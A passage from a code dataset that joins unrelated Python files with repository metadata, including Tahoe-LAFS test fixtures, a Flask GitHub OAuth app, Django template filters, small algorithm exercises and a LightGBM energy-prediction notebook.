fURL.\n\n :ivar node_pubkey: After the node is started, the node's public key.\n \"\"\"\n\n node_dir: FilePath\n create_output: Optional[str] = None\n process: Optional[Popen] = None\n node_url: Optional[FilePath] = None\n storage_furl: Optional[FilePath] = None\n node_pubkey: Optional[str] = None\n\n def run(self):\n \"\"\"\n Create and start the node in a child process.\n \"\"\"\n self.create()\n self.start()\n\n def create(self):\n \"\"\"\n Create the node directory.\n \"\"\"\n self.create_output = check_output(\n TAHOE\n + [\n \"create-node\",\n \"--webport=tcp:port=0\",\n \"--hostname=127.0.0.1\",\n self.node_dir.path,\n ],\n text=True,\n encoding=\"utf-8\",\n )\n setup_exit_trigger(self.node_dir)\n\n def start(self):\n \"\"\"\n Start the node child process.\n \"\"\"\n eliot = [\"--eliot-destination\", \"file:\" + self.node_dir.child(\"log.eliot\").path]\n self.process = Popen(\n TAHOE + eliot + [\"run\", self.node_dir.path],\n stdout=self.node_dir.child(\"stdout\").open(\"wb\"),\n stderr=self.node_dir.child(\"stderr\").open(\"wb\"),\n )\n node_url_path = self.node_dir.child(\"node.url\")\n wait_for_path(node_url_path)\n self.node_url = read_text(node_url_path)\n storage_furl_path = self.node_dir.descendant([\"private\", \"storage.furl\"])\n wait_for_path(storage_furl_path)\n self.storage_furl = read_text(storage_furl_path)\n node_pubkey_path = self.node_dir.child(\"node.pubkey\")\n wait_for_path(node_pubkey_path)\n self.node_pubkey = read_text(node_pubkey_path)\n\n def servers_yaml_entry(self) -> dict:\n \"\"\"\n Get an entry describing this storage node for a client's ``servers.yaml``\n file.\n \"\"\"\n if self.node_pubkey is not None:\n return {\n self.node_pubkey[len(\"pub-\") :]: {\n \"ann\": {\n \"anonymous-storage-FURL\": self.storage_furl,\n \"nickname\": \"storage\",\n },\n },\n }\n raise ValueError(\"Cannot get servers.yaml before starting.\")\n\n\nclass TahoeStorageManager(TestResourceManager):\n \"\"\"\n Manage a Tahoe-LAFS storage node as a ``TahoeStorage`` object.\n\n The node is created and run before the resource is handed out. The\n resource is always considered \"clean\" so it will be re-used by as many\n tests ask for it.\n \"\"\"\n\n resources = [(\"node_dir\", TemporaryDirectoryResource())]\n\n # This doesn't clean up the given resource - it cleans up the global\n # runtime environment in which that resource was created - by destroying\n # anything associated with it which Python will not automatically clean up\n # when the Python objects are garbage collected.\n def clean(self, storage):\n \"\"\"\n Kill the storage node child process.\n \"\"\"\n storage.process.kill()\n storage.process.wait()\n\n def make(self, dependency_resources):\n \"\"\"\n Create and run a brand new Tahoe-LAFS storage node.\n \"\"\"\n storage = TahoeStorage(**dependency_resources)\n storage.run()\n return storage\n\n\n@define\nclass TahoeClient:\n \"\"\"\n Provide a basic interface to a Tahoe-LAFS client node child process.\n\n :ivar node_dir: The path to the node's directory.\n\n :ivar storage: A representation of the storage server the node will be\n configured with.\n\n :ivar create_output: The output from creating the node.\n\n :ivar process: After the node is started, a handle on the child process.\n\n :ivar node_url: After the node is started, the root of the node's web API.\n \"\"\"\n\n node_dir: FilePath\n storage: TahoeStorage\n create_output: Optional[str] = None\n process: Optional[Popen] = None\n node_url: Optional[FilePath] = None\n\n def read_config(self) -> Config:\n \"\"\"\n Read this client node's configuration file into a configuration object.\n \"\"\"\n return config_from_string(\n self.node_dir.path,\n \"tub.port\",\n self.node_dir.child(\"tahoe.cfg\").getContent(),\n )\n\n def run(self):\n \"\"\"\n Create and start the node in a child process.\n \"\"\"\n self.create()\n self.start()\n\n def create(self):\n \"\"\"\n Create the node directory and write the necessary configuration to it.\n \"\"\"\n self.create_output = check_output(\n TAHOE\n + [\n \"create-node\",\n \"--webport=tcp:port=0\",\n \"--hostname=127.0.0.1\",\n \"--shares-needed=1\",\n \"--shares-total=1\",\n \"--shares-happy=1\",\n self.node_dir.path,\n ],\n text=True,\n encoding=\"utf-8\",\n )\n setup_exit_trigger(self.node_dir)\n with open(\n self.node_dir.descendant([\"private\", \"servers.yaml\"]).path, \"wt\"\n ) as f:\n f.write(\n safe_dump({\"storage\": self.storage.servers_yaml_entry()}),\n )\n\n def start(self):\n \"\"\"\n Start the node child process.\n \"\"\"\n eliot = [\"--eliot-destination\", \"file:\" + self.node_dir.child(\"log.eliot\").path]\n # Unfortunately we don't notice if this command crashes because of\n # some bug. In that case the test will just hang and fail after\n # timing out.\n self.process = Popen(\n TAHOE + eliot + [\"run\", self.node_dir.path],\n stdout=self.node_dir.child(\"stdout\").open(\"wb\"),\n stderr=self.node_dir.child(\"stderr\").open(\"wb\"),\n )\n node_url_path = self.node_dir.child(\"node.url\")\n wait_for_path(node_url_path)\n self.node_url = DecodedURL.from_text(read_text(node_url_path))\n\n\nclass TahoeClientManager(TestResourceManager):\n \"\"\"\n Manage a Tahoe-LAFS client node as a ``TahoeClient`` object.\n\n The node is created and run before the resource is handed out. The\n resource is always considered \"clean\" so it will be re-used by as many\n tests ask for it.\n \"\"\"\n\n resources = [\n (\"storage\", TahoeStorageManager()),\n (\"node_dir\", TemporaryDirectoryResource()),\n ]\n\n # See note on TahoeStorageManager.clean\n def clean(self, client):\n \"\"\"\n Kill the client node child process.\n \"\"\"\n client.process.kill()\n client.process.wait()\n\n def make(self, dependency_resources):\n \"\"\"\n Create and run a brand new Tahoe-LAFS client node.\n \"\"\"\n client = TahoeClient(**dependency_resources)\n client.run()\n return client\n\n\nclient_manager = TahoeClientManager()\n","repo_name":"meejah/ZKAPAuthorizer","sub_path":"src/_zkapauthorizer/tests/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":9759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"} +{"seq_id":"30774956076","text":"def minimumWaitingTime1(queries):\n \"\"\"\n O(nlogn) time\n O(1) sapce\n\n n is the length of the queries.\n \"\"\"\n queries.sort(reverse=True)\n ans = 0\n for i, ele in enumerate(queries):\n ans += i * ele\n\n return ans\n\n\ndef minimumWaitingTime2(queries):\n \"\"\"\n O(nlogn) time\n O(1) space\n\n n is the length of the queries. \n \"\"\"\n queries.sort()\n ans = 0\n for i in queries[:-1]:\n ans += sum(queries[:i+1])\n\n return ans\n","repo_name":"s2503901ernie/AlgoExpert","sub_path":"Greedy/MinimumWaitingTime.py","file_name":"MinimumWaitingTime.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"2802262178","text":"import instructions\nfolds, dots = instructions.folds(), instructions.dots()\n\ndef eliminarRepetidos():\n noRepetidos = []\n for dot in dots:\n if dot not in noRepetidos:\n noRepetidos.append(dot)\n return noRepetidos\n\ndef maximos(puntos):\n y, x=0,0\n for punto in puntos:\n y = punto[0] if punto[0]>y else y\n x = punto[1] if punto[1]>x else x\n return y, x\n \ndef draw(puntos):\n puntoYMax, puntoXMax = maximos(puntos)\n outputStr = ''\n for x in range(puntoXMax+1):\n for y in range(puntoYMax+1):\n outputStr +='#' if [y,x] in puntos else '.'\n outputStr += '\\n'\n print (outputStr)\n\ndef fold():\n for fold in folds:\n if fold[0] == 'y':\n for dot in dots:\n dot[1] -= (dot[1]- fold[1])*2 if dot[1] > fold[1] else 0\n if fold[0] == 'x':\n for dot in dots:\n dot[0] -= (dot[0]-fold[1])*2 if dot[0] > fold[1] else 0\n draw(eliminarRepetidos())\n \nfold()","repo_name":"joaquinn6/AdventofCodeEvents","sub_path":"2021/dic13/main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"71076664057","text":"import asyncio\n\nimport discord.ext.commands\n\n\nasync def join_exec(ctx: discord.ext.commands.Context):\n try:\n vc = ctx.author.voice.channel\n\n await vc.connect(timeout=10, reconnect=False)\n except discord.ClientException:\n await ctx.reply(\"VCに接続してから再度コマンドを実行してください。\")\n except asyncio.TimeoutError:\n await ctx.reply(\"VCへの接続がタイムアウトしました。\")\n","repo_name":"rokuosan/chillax","sub_path":"cmd/join.py","file_name":"join.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"37192464958","text":"from django import template\nfrom home.lib.parseurl import urlparse, parse_qsl, parse_qs\n\nregister = template.Library()\n\n@register.filter('youtube_thumb_url')\ndef youtube_thumb_url(url):\n\tif url:\n\t\tthumb_url = \"https://i.ytimg.com/vi/\"+get_youtube_content_id(url)+\"/0.jpg\"\n\telse:\n\t\tthumb_url = ''\n\t\n\treturn thumb_url\n\n\n@register.filter('get_youtube_content_id')\ndef get_youtube_content_id(url):\n\ta = urlparse(url)\n\n\tif 'www.youtube.com' in url:\n\t\ta = parse_qs(a.query)\n\t\tresult = a['v'][0]\n\telse:\n\t\tresult = a.path.replace('/', '')\n\n\treturn result\n\n\n@register.filter('year_position')\ndef year_position(year_id, _type):\n\tif 'line' in _type:\n\t\tif year_id%2==0:\n\t\t\treturn \"left\"\n\t\telse:\n\t\t\treturn \"right\"\n\telif 'circle' in _type:\n\t\tif year_id%2==0:\n\t\t\treturn \"right\"\n\t\telse:\n\t\t\treturn \"left\"\n\telse:\n\t\tif year_id%2==0:\n\t\t\treturn \"right\"\n\t\telse:\n\t\t\treturn \"left\"","repo_name":"jihoon6372/goodboypic","sub_path":"portfolio/templatetags/portfolio_filters.py","file_name":"portfolio_filters.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"16506106627","text":"\nimport requests\nimport json\n\n\nstudents = [\n {\n \"id\": None,\n \"name\": \"error\",\n \"email\": \"erro@mailcom\",\n \"gender\": \"male\"\n },\n {\n \"id\": None,\n \"name\": \"To long string To long string To long string To long string To long string \",\n \"email\": \"Paresh@mail.com\",\n \"gender\": \"male\"\n },\n {\n \"id\": 6,\n \"name\": \"Sucess\",\n \"email\": \"sucess@mail.com\",\n \"gender\": None\n },\n {\n \"name\": None,\n \"email\": None,\n },\n ]\n\nurl = 'http://127.0.0.1:5005/insert'\nheader = {'Authorization':'Supersecreto 123456', 'Content-Type':'application/json, charset=utf-8'}\n\ndef test_insert_a():\n resp = requests.get(url, headers=header, json=students[0])\n assert resp.status_code in [418, 405]\n\ndef test_insert_b():\n resp = requests.post(url, headers=header, json=students[0])\n assert resp.status_code == 400\n assert json.loads(resp.text) == {\"Erro\" : \"Records are invalid.\"}\n\ndef test_insert_c():\n resp = requests.post(url, headers=header, json=students[1])\n assert resp.status_code == 400\n assert json.loads(resp.text) == {\"Erro\" : \"Records are invalid.\"}\n\ndef test_insert_d():\n resp = requests.post(url, headers=header, json=students[2])\n assert resp.status_code == 201\n assert sorted(json.loads(resp.text).items()) == sorted(students[2].items())\n\ndef test_insert_e():\n resp = requests.post(url, headers=header, json=students[3])\n assert resp.status_code == 400\n assert json.loads(resp.text) == {\"Erro\" : \"Records are invalid.\"}\n\nif __name__ == '__main__':\n test_insert_a()\n test_insert_b()\n test_insert_c()\n test_insert_d()\n test_insert_e()\n\n","repo_name":"CarlosSchneider/pythonapi","sub_path":"test/test_insert.py","file_name":"test_insert.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"28978348122","text":"from django.contrib import admin\nfrom django.urls import path, re_path, include\n\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nfrom rest_framework import routers\nimport core.views\n\nrouter = routers.DefaultRouter()\nrouter.register(r\"movies\", core.views.MovieViewSet)\nrouter.register(r\"persons\", core.views.PersonViewSet)\nrouter.register(r\"jobs\", core.views.JobViewSet)\nrouter.register(r\"genres\", core.views.GenreViewSet)\nrouter.register(r\"movie-person\", core.views.MoviePersonViewSet)\n\nurlpatterns = (\n [\n path(\"api/\", include(router.urls)),\n path(\"api-auth/\", include(\"rest_framework.urls\", namespace=\"rest_framework\")),\n path(\"rest-auth/\", include(\"rest_auth.urls\")),\n path(\"admin/\", admin.site.urls),\n ]\n + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n)\n\nurlpatterns += [re_path(r\"^.*\", core.views.HomeTemplateView.as_view(), name=\"home\")]\n","repo_name":"spapas/hyperapp-tutorial","sub_path":"movieapi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"22"} +{"seq_id":"434997531","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 7 18:59:56 2018\n\n@author: pranav\n\"\"\"\n\nimport random\nimport sys\nimport time\nimport numpy as np\nfrom math import *\nimport matplotlib.pyplot as plt\n\nSPEED = 2 # frames per second setting\nWINWIDTH = 1280 # width of the program's window, in pixels\nWINHEIGHT = 720 # height in pixels\nSTEPSIZE = 10 # Stepsize of each move\nPLAYERS = 1 # number of players\nPLAYSIZE = 5 # size of player circle\nTOL = 2 # tolerance in distination postion\nBORDER = 15 # forbidden border around the chip\nTHETA = 10 # resolution of angle\n\nBLACK = 0 \nWHITE = 255 \nGRAY = 150\n\ndef main():\n # main loop\n global SCREEN\n # SCREEN is the map\n SCREEN = np.zeros((WINWIDTH, WINHEIGHT), dtype = np.uint8)\n rungame()\n \n\nclass Player(object):\n # Class which can be used to generate random position and angle, to compute movement values and to draw player\n def __init__(self):\n self.running = True\n self.colour = None\n self.length = 200 #+ 200\n\n def start(self):\n # start position and direction\n self.x = 200 \n self.y = 600 \n self.angle = 0 \n \n # stop position and direction\n self.stop_x = 450\n self.stop_y = 600\n self.stop_angle = 0\n for i in range(3):\n delx = int(i * cos(radians(self.angle)))\n dely = int(i * sin(radians(self.angle)))\n SCREEN[self.stop_x - delx, self.stop_y - dely] = GRAY\n SCREEN[self.stop_x + delx, self.stop_y + dely] = GRAY\n \n def move(self):\n # computes current movement\n self.x += int(STEPSIZE * cos(radians(self.angle)))\n self.y += int(STEPSIZE * sin(radians(self.angle)))\n \n def actions(self):\n # allowed actions\n self.actions = [-1,0,1]\n \n def draw(self):\n # drawing players\n SCREEN[self.x - PLAYSIZE:self.x + PLAYSIZE, self.y - PLAYSIZE:self.y + PLAYSIZE] = WHITE\n\ndef DFS(length, player_t):\n i=0\n if length * STEPSIZE + TOL >= player_t[i].length:\n pass\n return\n \ndef rungame():\n global WINNER, SCORE\n WINNER = 0\n run = True\n players_running = PLAYERS\n SCORE = 0\n length = 0\n action = np.zeros(PLAYERS)\n # generating players\n player_t = []\n for i in range(PLAYERS):\n player_t.append(Player())\n player_t[i].start()\n player_t[i].draw()\n fig = plt.figure(1)\n im = plt.imshow(SCREEN.T)\n while run:\n length += 1\n for i in range(PLAYERS): # loop for checking positions, drawing, moving and scoring for all players\n if player_t[i].running:\n player_t[i].angle = (player_t[i].angle + THETA * action[0]) % 360\n player_t[i].move()\n \n # checking if you collide and fail\n if (player_t[i].x > WINWIDTH - BORDER or player_t[i].x < BORDER or\n player_t[i].y > WINHEIGHT - BORDER or player_t[i].y < BORDER or\n SCREEN[player_t[i].x, player_t[i].y] == WHITE):\n player_t[i].running = False\n players_running = 0\n SCORE -= 2\n \n # checking if the max length for this curve is reached\n elif length * STEPSIZE + TOL >= player_t[i].length: \n # note: the above condition might need to be modified if \n # the integer rounding off errors mess thigns up\n player_t[i].running = False\n players_running -= 1\n \n # check if the destination is correctly reached \n if (abs(player_t[i].x - player_t[i].stop_x) <= TOL and\n abs(player_t[i].y - player_t[i].stop_y) <= TOL and\n player_t[i].angle == player_t[i].stop_angle):\n \n SCORE += 1\n else:\n SCORE -= 1\n \n player_t[i].draw()\n \n # Determine the action to be taken from the agent\n# action = Agent(player_t, )\n \n# time.sleep(10)\n # checking if someone reach max length and win\n if players_running == 0:\n im.set_data(SCREEN.T)\n plt.draw()\n if SCORE > 0:\n WINNER = 1\n run = False\n players_running = PLAYERS\n for i in range(PLAYERS):\n player_t[i].start()\n player_t[i].running = True\n continue\n\n \nif __name__ == '__main__':\n main()\n","repo_name":"pranavm1502/Curves","sub_path":"curves_treesearch.py","file_name":"curves_treesearch.py","file_ext":"py","file_size_in_byte":4672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"69947432058","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np\n\nimport pandas as pd\n\n\n\nimport warnings\n\nwarnings.simplefilter('ignore')\n\n\n\n\n\nimport os, gc, sys, warnings, random, math, psutil, pickle\n\n\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\n\n\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n\n for filename in filenames:\n\n print(os.path.join(dirname, filename))\n\n\n\n# Any results you write to the current directory are saved as output.\n##### Helpers ######\n\n\n\n\n\n## Seeder\n\n# :seed to make all processes deterministic # type: int\n\ndef seed_everything(seed=0):\n\n random.seed(seed)\n\n np.random.seed(seed)\n\n \n\n## Simple \"Memory profilers\" to see memory usage\n\ndef get_memory_usage():\n\n return np.round(psutil.Process(os.getpid()).memory_info()[0]/2.**30, 2) \n\n \n\ndef sizeof_fmt(num, suffix='B'):\n\n for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']:\n\n if abs(num) < 1024.0:\n\n return \"%3.1f%s%s\" % (num, unit, suffix)\n\n num /= 1024.0\n\n return \"%.1f%s%s\" % (num, 'Yi', suffix)\n\n\n\n####### Vars ######\n\n\n\nSEED = 42\n\nLOCAl_TEST = False\n\nseed_everything(SEED)\n\nTARGET = 'meter_reading'\ntrain_df = pd.read_pickle('/kaggle/input/data-minification-ashrae/train.pkl')\n\ntest_df = pd.read_pickle('/kaggle/input/data-minification-ashrae/test.pkl')\n\n\n\nbuilding_df = pd.read_pickle('/kaggle/input/data-minification-ashrae/building_metadata_metadata.pkl')\n\n\n\ntrain_weather_df = pd.read_pickle('/kaggle/input/data-minification-ashrae/weather_train.pkl')\n\ntest_weather_df = pd.read_pickle('/kaggle/input/data-minification-ashrae/weather_test.pkl')\n################ Building DF merge through concat ########################\n\n# Benefits of concat:\n\n## Faster for huge datasets (columns number)\n\n## No dtype change for dataset\n\n## Consume less memmory \n\n\n\ntemp_df = train_df[['building_id']]\n\ntemp_df = temp_df.merge(building_df, on=['building_id'], how='left')\n\ndel temp_df['building_id']\n\ntrain_df = pd.concat([train_df, temp_df], axis=1)\n\n\n\ntemp_df = test_df[['building_id']]\n\ntemp_df = temp_df.merge(building_df, on=['building_id'], how='left')\n\ndel temp_df['building_id']\n\ntest_df = pd.concat([test_df, temp_df], axis=1)\n\n\n\ndel building_df, temp_df\n################ Weather DF merge over concat (to not lose type) ###########################\n\n# Benefits of concat:\n\n## Faster for huge datasets (columns number)\n\n## No dtype change for dataset\n\n## Consume less memmory \n\n\n\ntemp_df = train_df[['site_id','timestamp']]\n\ntemp_df = temp_df.merge(train_weather_df, on=['site_id','timestamp'], how='left')\n\ndel temp_df['site_id'], temp_df['timestamp']\n\ntrain_df = pd.concat([train_df, temp_df], axis=1)\n\n\n\ntemp_df = test_df[['site_id','timestamp']]\n\ntemp_df = temp_df.merge(test_weather_df, on=['site_id','timestamp'], how='left')\n\ndel temp_df['site_id'], temp_df['timestamp']\n\ntest_df = pd.concat([test_df, temp_df], axis=1)\n\n\n\ndel train_weather_df, test_weather_df, temp_df\n############# Trick to use kernel hdd to store results #############\n\n\n\n# You can save just test_df or both if have sufficient space\n\ntrain_df.to_pickle('train_df.pkl')\n\ntest_df.to_pickle('test_df.pkl')\n\n \n\ndel train_df, test_df\n\ngc.collect()\n########################### Check memory usage #################################\n\n\n\nfor name, size in sorted(((name, sys.getsizeof(value)) for name,value in locals().items()),\n\n key= lambda x: -x[1])[:10]:\n\n print(\"{:>30}: {:>8}\".format(name,sizeof_fmt(size)))\n\nprint('Memory in Gb', get_memory_usage())\n#Model params\n\n\n\nimport lightgbm as lgb\n\nlgb_params = {\n\n 'objective':'regression',\n\n 'boosting_type':'gbdt',\n\n 'metric':'rmse',\n\n 'n_jobs':-1,\n\n 'learning_rate':0.05,\n\n 'num_leaves': 2**8,\n\n 'max_depth':-1,\n\n 'tree_learner':'serial',\n\n 'colsample_bytree': 0.7,\n\n 'subsample_freq':1,\n\n 'subsample':0.7,\n\n 'n_estimators':800,\n\n 'max_bin':255,\n\n 'verbose':-1,\n\n 'seed': SEED,\n\n 'early_stopping_rounds':100, \n\n } \n# Models saving\n\nmodel_filename = 'lgbm'\n\nmodels = []\n\n\n\n# Load train_df from hdd\n\ntrain_df = pd.read_pickle('train_df.pkl')\n\n\n\nremove_columns = ['timestamp',TARGET]\n\nfeatures_columns = [col for col in list(train_df) if col not in remove_columns]\n\n\n\nif LOCAl_TEST:\n\n tr_data = lgb.Dataset(train_df.iloc[:15000000][features_columns], label=np.log1p(train_df.iloc[:15000000][TARGET]))\n\n vl_data = lgb.Dataset(train_df.iloc[15000000:][features_columns], label=np.log1p(train_df.iloc[15000000:][TARGET]))\n\n eval_sets = [tr_data,vl_data]\n\nelse:\n\n tr_data = lgb.Dataset(train_df[features_columns], label=np.log1p(train_df[TARGET]))\n\n eval_sets = [tr_data]\n\n\n\n# Remove train_df from hdd\n\nos.system('rm train_df.pkl')\n\n\n\n# Lets make 5 seeds mix model\n\nfor cur_seed in [42,43,44,45,46]:\n\n \n\n # Seed everything\n\n seed_everything(cur_seed)\n\n lgb_params['seed'] = cur_seed\n\n \n\n estimator = lgb.train(\n\n lgb_params,\n\n tr_data,\n\n valid_sets = eval_sets,\n\n verbose_eval = 100,\n\n )\n\n\n\n # For CV you may add fold number\n\n # pickle.dump(estimator, open(model_filename + '__fold_' + str(i) + '.bin', \"wb\"))\n\n pickle.dump(estimator, open(model_filename + '__seed_' + str(cur_seed) + '.bin', 'wb'))\n\n models.append(model_filename + '__seed_' + str(cur_seed) + '.bin')\n\n\n\nif not LOCAl_TEST:\n\n del tr_data, train_df\n\n gc.collect()\n######### Predict #############\n\n\n\nif not LOCAl_TEST:\n\n \n\n # Load test_df from hdd\n\n test_df = pd.read_pickle('test_df.pkl')\n\n \n\n # Remove unused columns\n\n test_df = test_df[features_columns]\n\n \n\n # Remove test_df from hdd\n\n os.system('rm test_df.pkl')\n\n \n\n # Read submission file\n\n submission = pd.read_csv('../input/ashrae-energy-prediction/sample_submission.csv')\n\n\n\n # Remove row_id for a while\n\n del submission['row_id']\n\n \n\n for model_path in models:\n\n print('Predictions for', model_path)\n\n estimator = pickle.load(open(model_path, 'rb'))\n\n\n\n predictions = []\n\n batch_size = 2000000\n\n for batch in range(int(len(test_df)/batch_size)+1):\n\n print('Predicting batch:', batch)\n\n predictions += list(np.expm1(estimator.predict(test_df[features_columns].iloc[batch*batch_size:(batch+1)*batch_size])))\n\n \n\n submission['meter_reading'] += predictions\n\n \n\n # Average over models\n\n submission['meter_reading'] /= len(models)\n\n \n\n # Delete test_df\n\n del test_df\n\n \n\n # Fix negative values\n\n submission['meter_reading'] = submission['meter_reading'].clip(0,None)\n\n\n\n # Restore row_id\n\n submission['row_id'] = submission.index\n\n \n\n \n\n \n\n #### Check ####\n\n \n\n print(submission.iloc[:20])\n\n print(submission['meter_reading'].describe())","repo_name":"aorursy/new-nb-5","sub_path":"mathchi_deep-challenge-lightgbm-model.py","file_name":"mathchi_deep-challenge-lightgbm-model.py","file_ext":"py","file_size_in_byte":7403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"47867915479","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n# Author:WangYibin\n# Time:Jul 20 2018\n\n# Purpose:To create dir from busco to pair two species and copy the busco_result to this dir\n\n\nimport os,sys,shutil\n\nsample = os.listdir('../busco/')\nsample_copy = sample\n\nwhile len(sample_copy) != 0:\n\n\tfirst = sample_copy.pop(0)\n\tfor last in sample_copy:\n\t\n\t\tdir = '%s-%s'%(first.split('_')[1],last.split('_')[1])\n\t#\tprint(dir)\t\n\t\tos.mkdir(dir)\n\t\tshutil.copy('../busco/%s/full_table_%s.new.tsv'%(first,first.split('_')[1]),'./%s'%(dir))\n\t\tshutil.copy('../busco/%s/full_table_%s.new.tsv'%(last,last.split('_')[1]),'./%s'%(dir))\n","repo_name":"wangyibin/bio_scripts","sub_path":"myscript/creare_pair_dir.py","file_name":"creare_pair_dir.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"14749735861","text":"\nfrom flask import Flask, redirect, url_for, session, request, jsonify\nfrom flask_oauthlib.client import OAuth\nfrom flask import render_template\n\nimport pprint\nimport os\n\n# This code originally from https://github.com/lepture/flask-oauthlib/blob/master/example/github.py\n# Edited by P. Conrad for SPIS 2016 to add getting Client Id and Secret from\n# environment variables, so that this will work on Heroku.\n# Edited by S. Adams for Designing Software for the Web to add comments and remove flash messaging\n\napp = Flask(__name__)\n\napp.debug = True\n\napp.secret_key = os.environ['SECRET_KEY']\nos.environ['OAUTHLIB_INSECURE_TRANSPORT']='1'\noauth = OAuth(app)\n\n#Set up Github as the OAuth provider\ngithub = oauth.remote_app(\n 'github',\n consumer_key=os.environ['GITHUB_CLIENT_ID'],\n consumer_secret=os.environ['GITHUB_CLIENT_SECRET'],\n request_token_params={'scope': 'user:email'},\n request_token_url=None,\n access_token_method='POST',\n access_token_url='https://github.com/login/oauth/access_token',\n authorize_url='https://github.com/login/oauth/authorize'\n)\n\n\n@app.context_processor\ndef inject_logged_in():\n return {\"logged_in\":('github_token' in session)}\n\n@app.route('/')\ndef home():\n return render_template('home.html')\n\n@app.route('/login')\ndef login():\n return github.authorize(callback=url_for('authorized', _external=True, _scheme='https'))\n\n@app.route('/logout')\ndef logout():\n session.clear()\n return render_template('message.html', message='You were logged out')\n\n@app.route('/login/authorized')\ndef authorized():\n resp = github.authorized_response()\n if resp is None:\n session.clear()\n message = 'Access denied: reason=' + request.args['error'] + ' error=' + request.args['error_description'] + ' full=' + pprint.pformat(request.args) \n else:\n try:\n #save user data and set log in message\n session['github_token'] = (resp['access_token'], '')\n session['user_data'] = github.get('user').data\n if github.get('user').data['location'] == 'Santa Barbara':\n message = \"You were successfully logged in as \" + session['user_data']['login'] + '.'\n else:\n session.clear()\n message = \"You don't fill the requirements to log in.\"\n except Exception as inst:\n #clear the session and give error message\n session.clear()\n print(inst)\n message = \"Unable to log in. Please try again.\"\n return render_template('home.html', message=message)\n\n@app.route('/page1')\ndef renderPage1():\n if 'user_data' in session:\n user_data_pprint = pprint.pformat(session['user_data'])\n else:\n user_data_pprint = '';\n return render_template('page1.html',dump_user_data=user_data_pprint)\n\n\n@github.tokengetter\ndef get_github_oauth_token():\n return session['github_token']\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"papajon1212/Oauth","sub_path":"webapp.py","file_name":"webapp.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"73628000376","text":"from __future__ import print_function\nimport sys\nimport os\nimport unicodedata\nimport codecs\nsys.stdout = codecs.getwriter('utf8')(sys.stdout)\n\n\ndef main():\n letters = set()\n with codecs.open(sys.argv[1], \"r\", encoding=\"utf-8\") as f:\n for l in f:\n for c in l.strip().split('\\t', 1)[0]:\n letters.add(c)\n \n with codecs.open(sys.argv[2], \"r\", encoding=\"utf-8\") as f:\n for l in f:\n try:\n word, pron = l.strip().split('\\t', 1)\n word_ = replace_oov_letters(word, letters)\n print(u\"{}\\t{}\".format(word_, pron))\n except ValueError:\n word = l.strip()\n word_ = replace_oov_letters(word, letters)\n print(u\"{}\".format(word_))\n\n\ndef replace_oov_letters(input_str, letters):\n output_str = u\"\"\n for c in input_str:\n if c not in letters:\n normalized = unicodedata.normalize(\"NFKD\", c)\n output_str += u\"\".join([c for c in normalized if not unicodedata.combining(c)])\n else:\n output_str += c\n return output_str\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"m-wiesner/universal_g2p","sub_path":"local/translit_oov_letters.py","file_name":"translit_oov_letters.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"9927058043","text":"# Filename:q05_find_month_days.py\n# Author: Nie Shuyue\n# Date: 20130130\n# Modified: 20130130\n# Description: Program to get the\n# number of days in a month of a year.\n\n# main\n\n# prompt and get the month and the year\nyear = int(input(\"Enter the year: \"))\nmonth = int(input(\"Enter the month: \"))\n\n# state different conditions\n# and display the resluts\nif month == 1 or month == 3 or month == 5 or month == 7 \\\nor month == 8 or month == 10 or month == 12:\n print(\"31\")\n \nelif month == 4 or month == 6 or month == 9 or month == 11:\n print(\"30\")\n \nelif month == 2 and year % 4 == 0 and year % 100 > 0 or year% 400==0:\n print(\"29\")\n\nelse:\n print(\"28\")\n","repo_name":"NSYue/cpy5python","sub_path":"practical02/q05_find_month_days.py","file_name":"q05_find_month_days.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"21757043121","text":"# -*- coding: euc-kr -*-\nimport sys\n\n# sys.stdin = open(\"D:/Project/algorithm-study/Inflearn/섹션 6/11. 수들의 조합/input.txt.txt\", \"rt\")\n\n\ndef dfs(level, start):\n global cnt\n if level == k:\n if sum(res) % m == 0:\n cnt += 1\n else:\n for i in range(start, len(arr)):\n res[level] = arr[i]\n dfs(level + 1, i + 1)\n\n\nif __name__ 